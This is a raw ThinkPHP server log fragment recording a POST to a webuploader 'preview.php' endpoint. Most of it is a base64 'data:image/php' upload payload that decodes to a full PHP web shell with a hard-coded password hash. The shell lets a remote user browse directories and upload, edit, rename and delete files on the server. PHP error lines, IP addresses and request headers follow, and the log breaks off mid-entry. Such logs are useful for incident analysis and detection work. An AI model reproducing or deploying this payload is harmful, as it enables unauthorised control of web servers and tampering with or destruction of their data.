'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:58+08:00 ] 119.42.146.234 POST 59.110.137.245/public/js/webuploader/0.1.15/server/preview.php [运行时间:0.004267s] [吞吐率:234.36req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 